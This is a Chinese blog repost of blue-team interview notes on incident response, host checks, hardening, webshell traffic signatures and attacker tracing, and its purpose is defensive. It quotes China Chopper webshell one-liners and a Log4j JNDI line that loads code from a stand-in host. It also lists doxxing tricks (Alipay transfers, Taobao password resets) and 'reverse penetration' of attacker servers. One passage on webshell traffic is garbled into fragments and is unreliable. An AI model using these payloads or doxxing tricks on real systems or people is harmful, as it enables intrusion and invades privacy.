蓝队面试知识点整理
Posted RyanWang0000
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了蓝队面试知识点整理相关的知识,希望对你有一定的参考价值。
蓝队面试知识点整理
整理自网络
1.应急响应基本思路流程
- 收集信息:收集客户信息和中毒主机信息,包括样本
- 判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS 等等
- 抑制范围:隔离使受害⾯不继续扩⼤
- 深入分析:日志分析、进程分析、启动项分析、样本分析方便后期溯源
- 清理处置:杀掉进程,删除文件,打补丁,删除异常系统服务,清除后门账号防止事件扩大,处理完毕后恢复生产
- 产出报告:整理并输出完整的安全事件报告
2.Windows入侵排查思路
-
检查系统账号安全
1.1 查看服务器是否有弱口令,远程管理端口是否对公网开放(使用netstat -ano 命令、或者问服务器管理员)
1.2
lusrmgr.msc
命令查看服务器是否存在可疑账号、新增账号,如有管理员群组的(Administrators)里的新增账户,如有,立即禁用或删除掉1.3 用 D 盾或者注册表中查看服务器是否存在隐藏账号、克隆账号
在cmd中输入:net user
看看有没有陌生用户
在cmd中输入:regedit
找到注册表分支“HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names/”
看看有没有克隆用户
1.4 结合日志,查看管理员登录时间、用户名是否存在异常检查方法:Win+R 打开运行,输入“eventvwr.msc”,回车运行,打开“事件查看器”,导出 Windows 日志–安全,利用 Log Parser 进行分析
系统日志包含Windows系统组件记录的事件。应用程序日志包含由应用程序或程序记录的事件。安全日志包含诸如有效和无效的登录尝试等事件,以及与资源使用相关的事件,如创建、打开或删除文件或其他对象。 -
检查异常端口、进程
netstat -ano
检查端口连接情况,是否有远程连接、可疑连接
在cmd命令行中输入 netstat -ano 查看目前的网络连接,定位可疑的pid。
根据定位出的pid,再通过tasklist命令进行进程定位tasklist | findstr “PID”
发现的感觉异常的 IP 地址可以在威胁情报平台上查询,如果是已知的恶意 IP,可以比较快速的确认攻击方式。任务管理器-进程
进程查看工具:procexp.exe
-
检查启动项、计划任务、服务
启动项查看工具:
autoruns.exe
计划任务查看:按下win+r键打开运行,输入taskschd.msc
打开任务计划,查看有没有可疑的计划任务。 -
检查系统相关信息
查看系统版本以及补丁信息
查找可疑目录及文件 -
日志分析
如果数据库被入侵,查看数据库登录日志等,如Sqlserver数据库支持设置记录用户登录成功 和失败的日志信息。
3.Linux入侵排查思路
-
1 账号安全
who 查看当前登录用户(tty本地登陆 pts远程登录) w 查看系统信息,想知道某一时刻用户的行为 uptime 查看登陆多久、多少用户,负载
a) 用户信息文件/etc/passwd root:x:0:0:root:/root:/bin/bash account:password:UID:GID:GECOS:directory:shell 用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell 注意:无密码只允许本机登陆,远程不允许登陆 b) 影子文件/etc/shadow root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7::: 用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留
/etc/passwd
存储一般的用户信息,任何人都可以访问;/etc/shadow
存储用户的密码信息,只有 root 用户可以访问 -
2 历史命令
1、root的历史命令 histroy 2、打开 /home 各帐号目录下的 .bash_history,查看普通帐号的历史命令 历史操作命令的清除:history -c 但此命令并不会清除保存在文件中的记录,因此需要手动删除.bash_history文件中的记录
-
3 检查异常端口
netstat -antlp|more ls -l /proc/$PID/XXX file /proc/$PID/XXX 查看pid所对应的进程文件信息
-
4 检查异常进程
ps aux | grep pid
-
5 检查开机启动项
/etc/rc.local /etc/rc.d/rc[0~6].d
-
6 检查定时任务
crontab -l 列出某个用户cron服务的详细内容 Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root crontab -r 删除某个用户cront任务 crontab -e 使用编辑器编辑当前的crontab文件
-
7 检查服务
chkconfig --list systemctl list-unit-files 查看系统运行的服务
-
8 检查异常文件
-
9 检查系统日志
-
10.其他常用命令
系统信息- 查看当前系统状态
top
- 操作系统信息
uname -a
- 查看当前系统进程信息
ps
- 查看历史命令
history
- 列出本机所有的连接和监听的端口
netstat
- 查看谁在使用某个端口
lsof
系统信息
- 查看当前用户登录系统情况
who
- 查看可登录的账户
cat/etc/passwd|grep ‘/bin/bash’
- 查看用户错误的登录信息
lastb
- 查看所有用户最后的登录信息
lastlog
- 查看用户最近登录信息
last
- /var/log/ 其中,/var/log/wtmp 存储登录成功的信息、btmp存储登录失败的信息、utmp存储当前正在登录的信息
- 查看超级权限账户
awk -F: '$3==0 print $1' /etc/passwd
- 查看空口令账户
awk -F: 'length($2)==0 print $1' /etc/shadow
- 查看当前系统状态
4.Linux基线规范
账号管理和授权
- 检查特殊账号,是否存在空密码的账户和 root 权限账户
- 禁用或删除无用账号
- 添加口令策略:/etc/login.defs修改配置文件,设置过期时间、连续认证失败次数
- 禁止 root 远程登录,限制root用户直接登录。
- 检查 su 权限。vi /etc/pam.d/su添加auth required pam_wheel.so group=test
服务
- 关闭不必要的服务
- SSH 服务安全
- 不允许 root 账号直接登录系统,PermitRootLogin=no
- 修改 SSH 使用的协议版本为 2
- 修改允许密码错误次数(默认 6 次),MaxAuthTries=3
文件系统
- 设置 umask 值 vi /etc/profile 添加行 umask 027
- 设置登录超时 vi /etc/profile 修改配置文件,将以 TMOUT= 开头的行注释,设置为 TMOUT=180
日志
-
启用 syslogd 日志,配置日志目录权限,或者设置日志服务器
-
记录所有用户的登录和操作日志,通过脚本代码实现记录所有用户的登录操作日志,防止出现安全事件后无据可查
IP 协议安全要求
- 远程登录取消 telnet 采用 ssh
- 设置 /etc/hosts.allow 和 deny
- 禁止 ICMP 重定向
- 禁止源路由转发
- 防 ssh 破解,iptables (对已经建立的所有链接都放行,限制每分钟连接 ssh 的次数)+ denyhost (添加 ip 拒绝访问)
5.Apache 服务加固
https://www.alibabacloud.com/help/zh/security-advisories/latest/harden-apache-service-security
6.常用web中间件漏洞
https://www.freebuf.com/articles/web/192063.html
(一) IIS
1、PUT漏洞
2、短文件名猜解
3、远程代码执行
4、解析漏洞
(二) Apache
1、解析漏洞
2、目录遍历
(三) nginx
1、文件解析
2、目录遍历
3、CRLF注入
4、目录穿越
(四)Tomcat
1、远程代码执行
2、war后门文件部署
(五)jBoss
1、反序列化漏洞
2、war后门文件部署
(六)WebLogic
1、反序列化漏洞
2、SSRF
3、任意文件上传
4、war后门文件部署
(七)其它中间件相关漏洞
1、FastCGI未授权访问、任意命令执行
2、phpCGI远程代码执行
7.护网的分组和流程?
护网的分组是在领导小组之下分为防护检测组,综合研判组,应急溯源组。流程大致分为备战,临战,决战三个阶段
备战阶段,主要任务是进行两方面的操作,一是减少攻击面,即资产梳理,减少暴露面;二是排查风险点,即通过漏洞扫描,渗透测试,弱口令等进行自查
临战阶段,主要任务也大致可以分为两个部分,一是进行内部演练,发现疏忽处并进行相应整改;二是可以适当增加安全设备,比如WAF,IPS,IDS,SOC,堡垒机等
决战阶段,作为新人,主要就是坚守岗位,有应急日志就看自己能不能解决,不能就上报,服从上级安排,优化防护,持续整改
8.简历有护网经历,你能谈谈护网的情况吗
参加过护网蓝队,负责事件研判工作,主要使用 ips,ids 等设备做流量监控与日志分析工作判断安全事件是否为误判
对安全管理中心发出的态势排查单进行排查,并将排查结果反馈给安全管理中心,对安全管理中心发出的封堵工单和解封工单进行对应的封堵与解封,每两小时反馈一次排查结果、设备巡检报告、封堵情况。查看呼池 DDOS 设备,记录并排查告警信息
蓝队研判
研判工作要充分利用已有安全设备(需要提前了解客户的网络拓扑以及部署设备情况),分析其近期的设备告警,将全部流量日志(日志条件:源地址,目的地址,端口,事件名称,时间,规则 ID,发生 次数等)根据研判标准进行筛选(像挖矿、蠕虫、病毒、拒绝服务这类不太可能为攻击方发起的攻击的事件,直接过滤掉,减少告警数量),一般情况下,真实攻击不可能只持续一次,它一定是长时间、周期性、多 IP 的进行攻击
对于告警结合威胁情报库如:微步、奇安信威胁情报中心、绿盟威胁情报云等对于流量日志的原 IP 地址进行分析,判断其是否为恶意攻击,推荐使用微步的插件,如果确认为攻击行为或者不能确认是否为攻击行为,进行下一步操作,在之前准备好的表格中查找 IP 是否为客户内网部署的设备,如果不是,继续进行下一步,在事件上报平台查看是否有其他人提交过,如果没有,则上报
然后根据流量日志,对请求数据包和返回数据包分析判断其是否为误报,需要留意 X-Forwarded-For(简称XFF)和 x-real-ip
可以了解些 webshell 工具的流量特征,尤其是免杀 webshell,有可能不会被设备识别
最后上报事件时,尽可能提供完整的截图,包括源 ip、目的ip,请求包请求体,响应包响应体等重要信息,以方便后续人员研判溯源
9.一个大范围影响的0day被曝光,作为甲方安全工程师,应该如何处理
- 首先是评估 0day 对自身系统的影响(这部分评估需要根据漏洞利用的利用点、是否需要交互、是否会影响系统的 CIA,是否有在野利用 poc,影响资产是否暴露在公网等很多因素决定,详情可以参考 CVSS )
- 如果确定有影响的话且有 poc,第一件事是先分析 poc 执行后会在什么地方留下痕迹,我们有什么样的设备去采集这些痕迹所留下的数据,比如说 ntlm relay 这种,可以考虑从 Windows 事件日志当中 event_id 等于 4769 的事件入手编写对应的规则,这样的话可以利用 SIEM 或者实时日志分析平台跑起来,可以建立起初步的感知防线,后期触发告警,人肉运营也可以快速止损
- 日常建立完整的纵深防御体系,不要依赖于某一道防线
10.钓鱼邮件处置
钓鱼邮件发现
发现途径如下:邮件系统异常登录告警、员工上报、异常行为告警、邮件蜜饵告警
推荐接入微步或奇安信的情报数据。对邮件内容出现的 URL 做扫描,可以发现大量的异常链接
https://www.freebuf.com/articles/es/264037.html
处置
- 屏蔽办公区域对钓鱼邮件内容涉及站点、URL 访问
-
根据办公环境实际情况可以在上网行为管理、路由器、交换机上进行屏蔽
-
邮件内容涉及域名、IP 均都应该进行屏蔽
-
对访问钓鱼网站的内网 IP 进行记录,以便后续排查溯源可能的后果
- 屏蔽钓鱼邮件
-
屏蔽钓鱼邮件来源邮箱域名
-
屏蔽钓鱼邮件来源 IP
-
有条件的可以根据邮件内容进行屏蔽
-
删除还在邮件服务器未被客户端收取钓鱼邮件
- 处理接收到钓鱼邮件的用户
-
根据钓鱼邮件发件人进行日志回溯
此处除了需要排查有多少人接收到钓鱼邮件之外,还需要排查是否公司通讯录泄露。采用 TOP500 姓氏撞库发送钓鱼邮件的攻击方式相对后续防护较为简单。如果发现是使用公司通讯录顺序则需要根据通讯录的离职情况及新加入员工排查通讯录泄露时间。毕竟有针对性的社工库攻击威力要比 TOP100、TOP500 大很多
-
通知已接收钓鱼邮件的用户进行处理
删除钓鱼邮件
系统改密
全盘扫毒
- 后续:溯源、员工培训提升安全意识
11.Log4j rce
log4j 是 java web 的日志组件,用来记录 web 日志
原理:
以RMI为例,简单阐述下该漏洞的攻击原理:
1、攻击者首先发布一个RMI服务,此服务将绑定一个引用类型的RMI对象。在引用对象中指定一个远程的含有恶意代码的类。
2、攻击者再发布另一个恶意代码下载服务,此服务可以下载所有含有恶意代码的类。
3、攻击者利用Log4j2的漏洞注入RMI调用,例如: log.info(“登录成功”, “$jndi:rmi://rmi-service:1188/hackedclass”);
4、调用RMI后将获取到引用类型的RMI远程对象,该对象将就加载恶意代码并执行。
修复:升级 Log4j 到最新版本,根据业务判断是否关闭 lookup
12.WAF产品如何来拦截攻击?
Waf 产品有三种
云 Waf
用户不需要在自己的网络中安装软件程序或部署硬件设备,就可以对网站实施安全防护,它的主要实现方式是利用 DNS 技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器
Web 防护软件
安装在需要防护的服务器上,实现方式通常是 Waf 监听端口或以 Web 容器扩展方式进行请求检测和阻断
硬件 Web 防火墙
Waf 串行部署在 Web 服务器前端,用于检测、阻断异常流量。常规硬件 Waf 的实现方式是通过代理技术代理来自外部的流量
原理都相同,通过部署在 Web 服务器前方串行接入来将 Web 流量牵引到 WAF 设备中进行清洗或者拦截,最终只把正常用户的请求转发给服务器
当前市场上 Waf 产品核心的防护机制是“规则”,每一个请求、会话,经过抓包,“开包检查”,每一项规则都会检查到,一旦检查不通过,就会被认为是非法访问,拒绝处理
13.溯源
基本步骤
1.攻击源捕获
- 安全设备报警,如扫描IP、威胁阻断、病毒木马、入侵事件等
- 日志与流量分析,异常的通讯流量、攻击源与攻击目标等
- 服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等
- 邮件钓鱼,获取恶意文件样本、钓鱼网站 URL 等
- 蜜罐系统,获取攻击者 ID、电脑信息、浏览器指纹、行为、意图的相关信息
2.溯源反制手段
- IP 定位技术
根据IP定位物理地址–代理 IP
溯源案例:通过 IP 端口扫描,反向渗透服务器进行分析,最终定位到攻击者相关信息 - ID 追踪术
ID 追踪术,搜索引擎、社交平台、技术论坛、社工库匹配
溯源案例:利用 ID 从技术论坛追溯邮箱,继续通过邮箱反追踪真实姓名,通过姓名找到相关简历信息 - 网站 url
域名 Whois 查询–注册人姓名、地址、电话和邮箱 --域名隐私保护
溯源案例:通过攻击 IP 历史解析记录/域名,对域名注册信息进行溯源分析 - 恶意样本分析
提取样本特征、用户名、ID、邮箱、C2 服务器等信息–同源分析
溯源案例:样本分析过程中,发现攻击者的个人 ID 和 QQ,成功定位到攻击者 - 社交账号
基于 JSONP 跨域,获取攻击者的主机信息、浏览器信息、真实 IP 及社交信息等
利用条件:可以找到相关社交网站的 jsonp 接口泄露敏感信息,相关网站登录未注销
3.攻击者画像
- 攻击路径
攻击目的:拿到权限、窃取数据、获取利益、DDOS 等
网络代理:代理 IP、跳板机、C2 服务器等
攻击手法:鱼叉式邮件钓鱼、Web渗透、水坑攻击、近源渗透、社会工程等
- 攻击者身份画像
虚拟身份:ID、昵称、网名
真实身份:姓名、物理位置
联系方式:手机号、qq/微信、邮箱
组织情况:单位名称、职位信息
技巧
- 域名、ip 反查目标个人信息
- 支付宝转账,确定目标姓氏
- 淘宝找回密码,确定目标名字
- 企业微信手机号查公司名称
- REG007 查注册应用、网站
- 程序 PDB 信息泄露
13. 如何识别安全设备中的无效告警
比如说:攻击方通过对目标资产所处的C段进行批量扫描,但C段的资产并非都是处于「活跃」状态,甚至根本没有这个资产。而安全设备还是因为这个「攻击尝试行为」产生了告警,那么这种告警就属于“无效告警”。
比如说:攻击方尝试利用现成的“EXP&POC集成脚本工具”对资产目标进行检测扫描,安全设备检测到“攻击尝试行为”中的攻击特征就会产生告警。在通常情况下,可以把告警中的URL的“网页状态码”、“页面回显数据”作为“误报告警”判断的条件之一。
14.常见的端口是哪些,是什么服务,对应的红队攻击方式
数据库类(扫描弱口令)
- 1433:MSSQL
- 1521:Oracle
- 3306:mysql
- 5432:PostgreSQL
特殊服务类(未授权/命令执行)
- 443:ssl 心脏滴血
- 873:Rsync 未授权
- 5984:CouchDB http://xxx:5984/_utils/
- 6379:Redis 未授权
- 7001、7002:Weblogic 默认弱口令
- 8088:Hadoop Yarn 资源管理系统 REST API 存在未授权
- 8161:Apache ActiveMQ 未授权、弱口令,put 文件上传,move 文件移动
- 9200、9300:elasticsearch 命令执行
- 11211:Memcache 未授权,telnet ip 就可以获得服务器敏感信息
- 27017、27018:Mongodb 未授权
- 50000:SAP 命令执行
- 50070、50030 Hadoop 未授权访问
常用端口类(弱口令/端口爆破)
- 21:FTP 弱口令,匿名 anonymous/空登录,以及 ms12-073
- 25:SMTP 简单邮件传输服务器端口
- 23:Telnet 的端口,Telnet 是一种可以远程登录并管理远程机器的服务
- 22:ssh 端口,PcAnywhere 建立 TCP 和这一端口的连接可能是为了寻找 ssh,这一服务有许多弱点
- 53:dns 端口
- 139:属于 TCP 协议,是为 NetBios Session Service 提供的,主要提供 Windows 文件和打印机共享以及 Unix 中的 Samba 服务
- 445:网络共享 smb 服务,尝试利用 ms08067,ms17010 等以及 IPC$ 攻击手段
- 2601、2604:zebra 路由,默认密码 zebra
15.木马驻留系统的方式有哪些?
a. 注册表
b. 服务
c. 启动目录
d. 计划任务
e. 关联文件类型
蓝队面试题
Apache Log4j2的漏洞原理是什么?
由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向服务器发送恶意的数据,触发log4j2组件的缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
shiro的身份认证工作流程
通过前端传入的值,获取rememberMe cookie base64加密 AES加密 (对称加解密)反序列化
三、shiro反序列化漏洞原理
AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的
应急响应
https://blog.csdn.net/HBohan/article/details/122437507?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165503350016782390565757%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=165503350016782390565757&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2alltop_positive~default-1-122437507-null-null.142v13pc_search_result_control_group,157v14new_3&utm_term=%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94%E6%B5%81%E7%A8%8B&spm=1018.2226.3001.4187
三、响应
(1)判断事件类型
事件类型分为7类:大规模沦陷、挖矿病毒、勒索病毒、无文件落地、不死(顽固)马、钓鱼应急响应、数据劫持。
去应急肯定会收到通知:**ga的通报、客户自己发现的情况、现场安服发现的问题。**根据这些情报先判断出需要出应急的是什么事件类型。但是要记住“情报是带有失真率和主观性的,并且以上场景很多情况下并不会单独出现。”最后还是需要应急人员自己靠经验与客观事实去判断。
(2)保持第一现场
第一现场包含:第一发现人、第一情报、失陷主体/群体、主体/群体行为、失陷环境。
这个“保持”是指在尽可能实现的情况下去保留。因为谁被打穿了都会慌,一慌都会推卸责任(包括我自己),或者消灭痕迹,这无疑是帮助了攻击者实现渗透的最后一步。
这个“第一”是指最先发现情况的人,这个人所说的情况。发现的被攻陷的主体,最好是用镜像把系统和流量先扒拉下来。时间越延迟,这个“第一”事实的失真率越高,所以要安服和应急人员做好配合。
(3)信息收集
这一步与渗透测试的第一步信息收集无异,即使前面两个高度失真,这一步仍可以让整个响应起死回生,但是这一步没做好将会影响后续所有操作。
信息收集主要是做:流量、日志、可疑进程的内存、失陷系统镜像、恶意样本、客户资产收集、资产相关漏洞测试报告、防御设备的日志。【请注意:确认有索取这些信息的权限】
四、阻断
所谓阻断只有三步:关站、关服务、拔网线。
(1)切断网络
情况分很多种:**失陷后业务仍正常运行、失陷后业务受滞、失陷后业务停摆。**不同的情况,网络切断因地制宜。
切断网络的目的:观察病毒行为、观察流量特征、阻断对内通信、阻断对外连接。
举个例子:一个医院大规模失陷,但是业务正常运作,这时候可以选择切断部分不重要的主机去观察行为。
(2)阻断传播
传播包括:对内传播(感染)、对外传播(外联)
对内传播(感染):进程注入/迁移、第三方软件感染、服务传播(ftp/ssh爆破等)
对外传播(外联):挖矿行为、外联攻击、c2通信
阻断传播应从:软件层面、流量层面、代码层面、网络层面。例如:排查软件被劫持、排查流量发现无文件落地、利用代码审计发现容器加载内存马、阻断网络发现通过服务传播的病毒。
(3)隔离核心资产/隔离受害主体(群体)
这一步是应急响应的最终目的,无论实施过程如何、无论使用什么工具都必须保证被保护与沦陷方的隔离。
隔离核心资产是为了做到三个原则:保护、避害、不损害。
隔离受害主体(群体)是为了保护第一现场、收集攻击者信息等。
五、分析
分析是前提是提炼,提炼出关键信息分析。而提炼的前提是熟悉,了解攻击手法,红蓝同源。
(1)日志、流量、样本分析
分析三大件:日志、流量、样本。
日志主要注意的是:时间、动作、结果;这个行为什么时候开始、什么时候结束,这个动作是登陆、退出、修改等、造成的结果是登陆成功/失败、上传/下载了文件、执行了代码等。
流量主要注意的是:状态码、交互过程、数据合理性;每一次交互的状态码,交互过程中是否符合该种协议的正确交互过程,每个字段的填充、每次流量的渲染是否正常。
样本主要注意的是:启动方式、伪装方式、作用;根据启动方式去选择沙箱或者分析工具;伪装方式判断是否加壳做免杀和打击方式;根据作用去判断受害范围。
粗略的分为静态和动态,日志属于静态信息需要应急人员清晰分辨出日志表达的内容和快速筛选出可疑的点。流量和样本属于动态信息,应急人员需要拥有一定的渗透能力去分辨交互行为。
(2)行为分析&还原攻击过程
从行为出发,还原攻击路径,推演攻击过程。
行为分析基于三大件分析,结合系统表现出来的情况做分析,例如:启动项、启动脚本、进程、内存等。
还原攻击过程需要对攻击大致的情况有一个综合判断,可以理解为——威胁模型建立(SDL),必须具备渗透能力,再此基础上放入沙箱重新复现攻击过程,对后续的步骤提供帮助。
六、清除
(1)非对抗情况下
在不存在对抗的情况下,最极端就是全盘重装,稍次就是数据迁移后对系统盘重装。在普通情况下,我们可以进行针对性的杀进程、删文件、杀软清除。
(2)存在对抗情况下
对抗情况就是:顽固马与不死马存在,或者被持续攻击(apt)。
这样的情况下,首选是在允许情况下打补丁,再恢复。找到攻击行为的源头,先补上漏洞再清除。
七、加固
加固没啥好讲的,打补丁、对系统进行限制(网络隔离、行为管理等)、升级防御设备、完善防御流程(防御设备的部署、人员的部署、规则库的升级)
Webshell工具的流量特征分析(菜刀,蚁剑,冰蝎,哥斯拉)
https://blog.csdn.net/qq_53577336/article/details/125048353?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165502865016782246498316%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=165502865016782246498316&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-2-125048353-null-null.142%5ev13%5epc_search_result_control_group,157%5ev14%5enew_3&utm_term=%E8%8F%9C%E5%88%80%E3%80%81%E5%86%B0%E8%9D%8E%E3%80%81%E8%9A%81%E5%89%91%E3%80%81%E5%93%A5%E6%96%AF%E6%8B%89%E7%9A%84%E6%B5%81%E9%87%8F%E7%89%B9%E5%BE%81&spm=1018.2226.3001.4187
中国菜刀流量分析
payload特征:
PHP: <?php @eval($_POST['caidao']);?>
ASP: <%eval request(“caidao”)%>
ASP.NET: <%@ Page
Language=“Jscript”%><%eval(Request.Item[“caidao”],“unsafe”);%>
数据包流量特征:
1,请求包中:ua头为百度,火狐
2,请求体中存在eavl,base64等特征字符
3,请求体中传递的payload为base64编码
蚂蚁宝剑流量分析
payload特征:
Php中使用assert,eval执行,
asp 使用eval
在jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征
数据包流量特征:
使用普通的一句话都存在以下特征:
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且后面存在base64等字符
响应包的结果返回格式为:
随机数
响应内容
随机数
使用base64加密的payload,数据包存在以下base加密的eval命令执行,数据包的payload内容存在几个分段内容,分别都使用base加密,解密后可以看到相关的路径,命令等
响应包的结果返回格式为:
随机数
编码后的结果
随机数
冰蝎流量分析
paylaod分析:
php在代码中同样会存在eval或assert等字符特征
在aps中会在for循环进行一段异或处理
在jsp中则利用java的反射,所以会存在ClassLoader,getClass().getClassLoader()等字符特征
冰蝎2.0流量特征:
第一阶段请求中返回包状态码为200,返回内容必定是16位的密钥
请求包存在:Accept: text/html, image/gif, image/jpeg, ; q=.2, /; q=.2
建立连接后的cookie存在特征字符
所有请求 Cookie的格式都为: Cookie: PHPSESSID=; path=/;
冰蝎3.0流量特征:
请求包中content-length 为5740或5720(可能会根据Java版本而改变)
每一个请求头中存在
Pragma: no-cache,Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.9
哥斯拉流量特征
payload特征:
jsp会出现xc,pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码等特征
php,asp则为普通的一句话木马
哥斯拉流量分析:
所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
所有响应中Cache-Control: no-store, no-cache, must-revalidate,
同时在所有请求中Cookie中后面都存在;特征
https://blog.csdn.net/eternitymd/article/details/124492261?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165502796716781685320995%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=165502796716781685320995&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~rank_v31_ecpm-1-124492261-null-null.142v13pc_search_result_control_group,157v14new_3&utm_term=%E5%86%B0%E8%9D%8E%EF%BC%8C%E8%9A%81%E5%89%91%EF%BC%8C%E8%8F%9C%E2%BC%91%EF%BC%8C%E5%93%A5%E6%96%AF%E6%8B%89%E6%B5%81%E9%87%8F%E7%89%B9%E5%BE%81&spm=1018.2226.3001.4187
菜刀流量特征(最开始是明文传输,后来采用base64加密):PHP类WebShell链接流量
如下图:
第一:“eval”,eval函数用于执行传递的攻击payload,这是必不可少的;
第二:(base64_decode(
P
O
S
T
[
z
0
]
)
)
,
(
b
a
s
e
6
4
d
e
c
o
d
e
(
_POST[z0])),(base64_decode(
POST[z0])),(base64decode(_POST[z0]))将攻击payload进行Base64解码,因为菜刀默认是使用Base64编码,以避免被检测;
第三:&z0=QGluaV9zZXQ…,该部分是传递攻击payload,此参数z0对应
P
O
S
T
[
z
0
]
接收到的数据,该参数值是使用
B
a
s
e
64
编码的,所以可以利用
b
a
s
e
64
解码可以看到攻击明文。注:
1.
有少数时候
e
v
a
l
方法会被
a
s
s
e
r
t
方法替代。
2.
_POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。 注: 1.有少数时候eval方法会被assert方法替代。 2.
POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。注:1.有少数时候eval方法会被assert方法替代。2._POST也会被
G
E
T
、
_GET、
GET、_REQUEST替代。
3.z0是菜刀默认的参数,这个地方也有可能被修改为其他参数名。
蚁剑(PHP用base64加密):
PHP类WebShell链接流量
将蚁剑的正文内容进行URL解码后,流量最中明显的特征为@ini_set(“display_errors”,“0”);这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码,但是有的客户端会将这段编码或者加密,而蚁剑是明文,所以较好发现,同时蚁剑也有eval这种明显的特征。
蚁剑绕过特征流量
由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“_0x…=”这种形式(下划线可替换为其他)所以,以_0x开头的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特征。
冰蝎(AES对称加密):
通过HTTP请求特征检测
1、冰蝎数据包总是伴随着大量的content-type:application什么什么,无论GET还是POST,请求的http中,content-type为application/octet-stream;
2、冰蝎3.0内置的默认内置16个ua(user-agent)头
3、content-length 请求长度,对于上传文件,命令执行来讲,加密的参数不定长。但是对于密钥交互,获取基本信息来讲,payload都为定长
哥斯拉(base64加密):
特征检测
1、发送一段固定代码(payload),http响应为空
2、发送一段固定代码(test),执行结果为固定内容
3、发送一段固定代码(getBacisInfo)
浅谈IP溯源的原理及方法
溯源思路
1、攻击源捕获
安全设备报警,如扫描IP、威胁阻断、病毒木马、入侵事件等
日志与流量分析,异常的通讯流量、攻击源与攻击目标等
服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等
邮件钓鱼,获取恶意文件样本、钓鱼网站URL等
蜜罐系统,获取攻击者行为、意图的相关信息
2、溯源反制手段
2.1 IP定位技术
根据IP定位物理地址—代理IP
溯源案例:通过IP端口扫描,反向渗透服务器进行分析,最终定位到攻击者相关信息
2.2 ID追踪术
ID追踪术,搜索引擎、社交平台、技术论坛、社工库匹配
溯源案例:利用ID从技术论坛追溯邮箱,继续通过邮箱反追踪真实姓名,通过姓名找到相关简历信息
2.3 网站url
域名Whois查询—注册人姓名、地址、电话和邮箱。—域名隐私保护
溯源案例:通过攻击IP历史解析记录/域名,对域名注册信息进行溯源分析
2.4 恶意样本
提取样本特征、用户名、ID、邮箱、C2服务器等信息—同源分析
溯源案例:样本分析过程中,发现攻击者的个人ID和QQ,成功定位到攻击者。
2.5 社交账号
基于JSONP跨域,获取攻击者的主机信息、浏览器信息、真实 IP及社交信息等
利用条件:可以找到相关社交网站的jsonp接口泄露敏感信息,相关网站登录未注销
3、攻击者画像
3.1 攻击路径
攻击目的:拿到权限、窃取数据、获取利益、DDOS等
网络代理:代理IP、跳板机、C2服务器等
攻击手法:鱼叉式邮件钓鱼、Web渗透、水坑攻击、近源渗透、社会工程等
3.2 攻击者身份画像
虚拟身份:ID、昵称、网名
真实身份:姓名、物理位置
联系方式:手机号、qq/微信、邮箱
组织情况:单位名称、职位信息
4、安全攻击溯源篇
4.1 案例一:邮件钓鱼攻击溯源
攻防场景:攻击者利用社会工程学技巧伪造正常邮件内容,绕过邮件网关的查杀,成功投递到目标邮箱,诱骗用户点击邮件链接或下载附件文件。
信息收集: 通过查看邮件原文,获取发送方IP地址、域名后缀邮箱、钓鱼网站或恶意附件样本等信息。
溯源方式:第一种,可以通过相关联的域名/IP进行追踪;第二种,对钓鱼网站进行反向渗透获取权限,进一步收集攻击者信息;第三种,通过对邮件恶意附件进行分析,利用威胁情报数据平台寻找同源样本获取信息,也能进一步对攻击者的画像进行勾勒。
4.2 案例二:Web入侵溯源
攻防场景:攻击者通过NDAY和0DAY漏洞渗入服务器网段,Webshell 触发安全预警或者威胁检测阻断了C&C域名的通讯。
溯源方式:隔离webshell样本,使用Web日志还原攻击路径,找到安全漏洞位置进行漏洞修复,从日志可以找到攻击者的IP地址,但攻击者一般都会使用代理服务器或匿名网络(例如Tor)来掩盖其真实的IP地址。
在入侵过程中,使用反弹shell、远程下载恶意文件、端口远程转发等方式,也容易触发威胁阻断,而这个域名/IP,提供一个反向信息收集和渗透测试的路径。
4.3 案例三:蜜罐溯源
